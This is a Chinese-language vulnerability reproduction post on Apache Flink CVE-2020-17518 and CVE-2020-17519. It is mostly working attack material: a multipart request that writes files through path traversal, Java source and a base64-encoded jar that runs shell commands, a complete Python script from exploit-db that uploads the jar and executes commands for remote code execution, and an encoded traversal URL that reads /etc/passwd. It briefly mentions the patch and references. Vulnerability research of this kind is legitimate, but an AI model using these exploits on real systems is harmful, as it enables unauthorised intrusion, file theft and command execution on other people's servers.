漏洞背景
2021年01月06日,Apache Flink发布了
Apache Flink 目录穿越漏洞,目录穿越漏洞的风险通告,漏洞编号为
CVE-2020-17518,CVE-2020-17519,漏洞等级:
高危,漏洞评分:8.5
远程攻击者通过REST API
目录遍历,可造成文件读取/写入
的影响。
CVE-2020-17518: 文件写入漏洞
攻击者利用REST API
,可以修改HTTP
头,将上传的文件写入到本地文件系统上的任意位置(Flink 1.5.1
进程能访问到的)。
CVE-2020-17519: 文件读取漏洞
Apache Flink 1.11.0 允许攻击者通过JobManager
进程的REST API
读取JobManager
本地文件系统上的任何文件(JobManager
进程能访问到的) 。
影响版本
CVE-2020-17519
–Apache:Apache Flink
: 1.11.0, 1.11.1, 1.11.2
CVE-2020-17519
–Apache:Apache Flink
: 1.5.1 – 1.11.2
漏洞复现
CVE-2020-17518 任意文件写入漏洞
验证POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| POST /jars/upload HTTP/1.1 Host: x.x.x.x:8081 Pragma: no-cache Cache-Control: no-cache Accept: application/json, text/plain, */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36 Referer: http://x.x.x.x:8081/ Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7 Cookie: jNj0_2132_ulastactivity=94cd6XUujZO6Ir8Y402Py8R2hRo4k9SYYId68%2Bsj5Hj9wct3lwDn; jNj0_2132_lastcheckfeed=1%7C1603631734 Connection: close Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y Content-Length: 185
------WebKitFormBoundaryoZ8meKnrrso89R6Y Content-Disposition: form-data; name="jarfile"; filename="../../../../../../tmp/success"
success ------WebKitFormBoundaryoZ8meKnrrso89R6Y--
|
配合Apache Flink 1.9.x - File Upload RCE (Unauthenticated) 部署jar包来GetShell
利用条件:
- Flink 1.9.x 版本
- 唯一优点:相比直接上传jar包,有了隐蔽性。
参考文章中,直接上传jsp,web目录下不解析,会作为文件下载。
准备Jar包
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| import java.io.File; import java.util.Scanner;
public class Execute { public Execute() { }
public static void main(String[] args) throws Exception { String o = ""; String cmd = args[0]; ProcessBuilder p; if (System.getProperty("os.name").toLowerCase().contains("win")) { p = new ProcessBuilder(new String[]{"cmd.exe", "/c", cmd}); } else { String pty = "/bin/sh"; if ((new File("/bin/bash")).exists()) { pty = "/bin/bash"; } p = new ProcessBuilder(new String[]{pty, "-c", cmd}); }
Process s = p.start(); Scanner c = (new Scanner(s.getInputStream())).useDelimiter("\\A"); c.close(); } }
|
将源码进行编译并打包为jar包,
Base64之后的jar包:
1
| UEsDBBQAAAAIAASBJlLHe4y+9gIAAOgEAAANAAAARXhlY3V0ZS5jbGFzc21Uy1bUQBC9zTwSQnhFBEZ8gAoOCIwiKgKivEWGhwbRATaZ0AcCMwkmPQIbN/oTfIFrNoNHjn6Av+MatToqLycn6UpX3Vt1q7uT7z+/fAPQixUNTehQcVtFp4YudGsoR0rFHWnvKuhRcE9Fr4r7GlQ8UPFQQZ+KRxqq0C+HARWDMvRYwZCGJ3iqoQ7DKkakHZXDmIJxBRMM8UHHdcQQQyTZvsgQHfVWOUN12nH5bCGf5f6Clc1xCuQtx2WoTy6nN6x3VipnuWspU/iOuzYgiZWmsOzNGWsrxJNABZOklEEb37H5lnA8N1DwjOamV/BtPuHIrPr4DrcLgnfLnDou4woDGBQv6HatPKWZ0vEc0zrSmCGJ246rYxZzDI0nIuZ9z+ZBMFJwcqvcZ6g5r4/y2fnVbr5DBctStizTQr5U1nFTwTqJCAmOl/qjqTwMZK1gXSLndbzASyJ2EdHEAkNtCC8IJ5cybct1ua/glY5FvJb4NwRdGdaRwZKOZdmP8rfHM8rmshvcFgwXSiwneU98x6t3trHdQPA8Q8UaF9T/FvfFLkNbssTelMpfIby0t839USsgWXXJkiDV9lxBmx4wNJ1OPLpu+SZ/W+CuzQfalxguJksfiTjfcQIRyKMlYbFAWL4g+Em5k92jerXnncSsov6m3K2CoLTcooYbiPxvu04FiN6YLBUIheiFgI/xnJN3hDwgt0ou03+7Sjljds4LOFpwiT5IeZWByUNK41WatZBlZGMdB2D7kCf3Go0awciJKOL0vTYTrCyE/6B5nOxHoyzdEemZMSKfES0iZsSLUPbQfAg1E/+K8kzE0MxM1KgwM7FO8wD67Cf0GpX90UNUZYzqA9QUUbsHxagm1zEnEZUc45jTVcQFGa/LJKjIxQPUGw1FNPbHErEiEvuymVBtD3QayxEh3Qq9N6CSfkHV6EMNJlGLafpbcPJuohHvkcAHWozrxGhF5Ai9Cm7QfYR6kPlF4aiCm/Qa3q0Ea6MnClp0epJh0fbfUEsDBAoAAAgAACJ1bU8AAAAAAAAAAAAAAAAJAAAATUVUQS1JTkYvUEsDBBQACAgIACJ1bU8AAAAAAAAAAAAAAAAUAAQATUVUQS1JTkYvTUFOSUZFU1QuTUb+ygAA803My0xLLS7RDUstKs7Mz7NSMNQz4OXyTczM03XOSSwutlJwrUhNLi1J5eXi5QIAUEsHCIiKCL8wAAAALgAAAFBLAQI/ABQAAAAIAASBJlLHe4y+9gIAAOgEAAANACQAAAAAAAAAIAAAAAAAAABFeGVjdXRlLmNsYXNzCgAgAAAAAAABABgAsQeXEAPk1gFyshItA+TWAdyLEi0D5NYBUEsBAgoACgAACAAAInVtTwAAAAAAAAAAAAAAAAkAAAAAAAAAAAAAAAAAIQMAAE1FVEEtSU5GL1BLAQIUABQACAgIACJ1bU+Iigi/MAAAAC4AAAAUAAQAAAAAAAAAAAAAAEgDAABNRVRBLUlORi9NQU5JRkVTVC5NRv7KAABQSwUGAAAAAAMAAwDcAAAAvgMAAAAA
|
link运行时文件都在/tmp目录下,路径类似于
1
| /tmp/flink-web-xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx/
|
每台服务器运行Flink时路径都不同,因此要先获取该路径。
通过接口 /jobmanager/config
则可以获取web.tmpdir
的路径。
我这里为:
1
| /tmp/flink-web-2dc398da-fb29-4250-b9ef-68afe0dd08ab
|
上传jar包到/tmp/flink-web-2dc398da-fb29-4250-b9ef-68afe0dd08ab/flink-web-upload/
目录下,
执行命令,反弹shell。
我手动复现了三次都没成功,用expdb里的脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140
|
import io import re import sys import base64 import requests
class FlinkRCECheck:
def __init__(self, url): self.url = url self.timeout = 10 self.upload_file = 'rce_check_from_sec.jar' self.headers = { 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) ' 'Chrome/61.0 Safari/537.36' }
@property def get_version(self): url = '%s/%s' % (self.url, 'config') try: res = requests.get(url, headers=self.headers, timeout=self.timeout, verify=False) version = res.json().get('flink-version') except: version = 'unknown' return version
@property def jar_check(self): url = '%s/%s' % (self.url, 'jars') jar_list = [] try: res = requests.get(url, headers=self.headers, verify=False, timeout=self.timeout) if res.status_code == 200 and 'application/json' in res.headers.get('Content-Type', ''): res = res.json() for file in res['files']: if file['id'].endswith(self.upload_file): jar_list.append(file['id']) except Exception as e: pass
return jar_list
@property def jar_upload(self): url = '%s/%s' % (self.url, 'jars/upload') jar_content = base64.b64decode('UEsDBBQACAgIACJ1bU8AAAAAAAAAAAAAAAAUAAQATUVUQS1JTkYvTUFOSUZFU1QuTUb+ygAA803My' '0xLLS7RDUstKs7Mz7NSMNQz4OXyTczM03XOSSwutlJwrUhNLi1J5eXi5QIAUEsHCIiKCL8wAAAALg' 'AAAFBLAwQKAAAIAAAidW1PAAAAAAAAAAAAAAAACQAAAE1FVEEtSU5GL1BLAwQUAAgICAAidW1PAAA' 'AAAAAAAAAAAAADQAAAEV4ZWN1dGUuY2xhc3ONVet2E1UU/k4yyUwmQy+TQlsQBdSStqSxiIotIlAK' 'VkJbSa0G8DKZHpPTJjNhLjTVCvoQ/ugT8MsfqCtx0aUPwEOx3Gdo09KGtUzW7H3O3vvbt7PPzPMXz' '/4FMIlfdbyDyxo+1XBFx1Vc05HCjIbrks+quKHipobPNMzp0PC5hlsqChpu6+jBvCQLGhal6gsVd3' 'QUsaRjAF9qWJb8K0m+lqQkyd0URbin4r6OkzLoN5J/K8l3Or6HpaKswmZIXhKOCC4zxLOjywzKjLv' 'CGXoLwuHzYb3MvSWrXCOJWXBtq7ZseULud4RKUBU+Q6ow2+R2GPBpEtUt4TAcy94rrFoPrXzNcir5' 'YuAJpzItA7AGw/F9qkXPtbnvXwtFbYV75CDeCDZkuENo8m15FQqX6eKaHLuEtesrtJI2h0NIG7ujC' 'QNRyxdty3GiqPps0+aNQLiOr4J86EU39Gx+Q8gyjZ3yJiTSwLsYYQCD6voTjlXnKriBH1AxUIWgJN' 'aFY2AVawxDr6uToe9gCeSPsp/gTQoYy9syTI5k+bJw8n6VkogAws2/zCkVKcqWX5WWNQN1UNtjOQK' '6oB73H6pSxQMDHnxpH5Dp/asGQjw0sA7KtwlhYAMjBn7ETwyDB9PrJB7fvLJpYBM/G3gEoeKxgV9Q' 'o0x3mvRKaQvlVW5TsMyeqNPoV3uw4Qe8zpCu8IBa1eCenIKRbJch6nb46cAtuOvcm7F8SmAg29VIs' '10noOmk8Tix3/FM1fKK/EHIHZtPj95lONotLM1ukjeFH/jRXSGzhB9YXiDNR7tOW/8hIUMP1TfnNM' 'KA3HKLCh7cBdPJ7lMQfCjbVSETMUKfX+c1UReBPJKzr2/TgTFXq5Y/z5uUtOJELGHXXNmyuBvKSjo' 'RF8nJXipJq9HgDl2L3P86kL3LrAXu7nRnurim+A25w2m8Te9G+YvRxaILRvQs7fLE6a4hMdYGexqp' 's0STkZBhlKjx0gBjGCeewjnkyIrAbInskiT7y4wVxuLnb5vxv6G0kDCTLahbOLUNrZT8B6lS3NSLJ' 'cVMF0uJc8U2jPknuGAemVK20VMye9voa6F/C6rZK0W7mGFFYswOJtdCRuoHSsMU5Ggbx8zBFoamEs' 'OJFoa3kJb8+BMo4wW5OvEH3tjGyVIbb5pvtXBqnJ5o0cLpFs7s1fohjhCN01+BSvUMEr1AdV6Ejpt' 'I4xbpOXqxhj66kP34DSb+RCbqzR36WEwScoIaGSdEDu/RXpE9wXm8H/l9St4m5dsMv+MDWsXI28IO' 'Yg1zFP8jQjwifhEfU5+nCKWQ/TQ9l6IsP/kPUEsHCEEOnKXWAwAA4gYAAFBLAQIUABQACAgIACJ1b' 'U+Iigi/MAAAAC4AAAAUAAQAAAAAAAAAAAAAAAAAAABNRVRBLUlORi9NQU5JRkVTVC5NRv7KAABQSw' 'ECCgAKAAAIAAAidW1PAAAAAAAAAAAAAAAACQAAAAAAAAAAAAAAAAB2AAAATUVUQS1JTkYvUEsBAhQ' 'AFAAICAgAInVtT0EOnKXWAwAA4gYAAA0AAAAAAAAAAAAAAAAAnQAAAEV4ZWN1dGUuY2xhc3NQSwUG' 'AAAAAAMAAwC4AAAArgQAAAAA') files = {'jarfile': (self.upload_file, io.BytesIO(jar_content), 'application/octet-stream')}
try: res = requests.post(url, headers=self.headers, files=files, timeout=self.timeout, verify=False) file_id = res.json()['filename'].split('/')[-1] return file_id except Exception as e: res = False return res
@property def jar_delete(self): for jar_name in self.jar_check: url = '%s//jars/%s' % (self.url, jar_name) try: requests.delete(url=url, headers=self.headers, timeout=self.timeout, verify=False) except: pass return
def rce(self, command): jar_file = self.jar_upload try: execute_cmd_url = '%s/jars/%s/run?entry-class=Execute&program-args="%s"' % (self.url, jar_file, command) res = requests.post(url=execute_cmd_url, headers=self.headers, timeout=self.timeout, verify=False) res = re.findall('\|@\|(.*?)\|@\|', res.text)[0][0:-2] if res: print('rce command "%s" exec result: %s' % (command, res)) state = 1 msg = '%s rce success' % self.url else: state = 0 msg = '%s rce failed' % self.url except: state = 0 msg = '%s rce failed' % self.url
delete = self.jar_delete
return {'state': state, 'version': self.get_version, 'msg': msg}
if __name__ == '__main__': usage = 'python3 script.py ip port command' if len(sys.argv) != 4: print('simple usage: %s' % usage) else: ip = sys.argv[1] port = sys.argv[2] command = sys.argv[3] url = 'http://%s:%s' % (ip, port) res = FlinkRCECheck(url=url).rce(command=command) print(res)
|
原来是要1.9.x
版本的。这里的版本是1.11.x了。懂怎么用就行了。。老sb了。
CVE-2020-17519 任意文件读取漏洞
1
| /jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd
|
漏洞修复
亘古不变的升级到最新版。(x。那这还学个屁。跟着commi ,简单分析下不香?
对../
进行了处理。希望不会像其他洞一样出现绕过的情况 :call_me_hand:
后面还对上传的文件大小、内容进行了一些判断,。代码太长了不想看。
我分析错了。具体看看:
https://www.anquanke.com/post/id/228507#h3-10
https://xz.aliyun.com/t/9023
参考资料
https://github.com/apache/flink/commit/a5264a6f41524afe8ceadf1d8ddc8c80f323ebc4
https://github.com/vulhub/vulhub/tree/master/flink/CVE-2020-17518
https://www.anquanke.com/post/id/227630
https://www.freebuf.com/vuls/260257.html
https://www.exploit-db.com/exploits/48978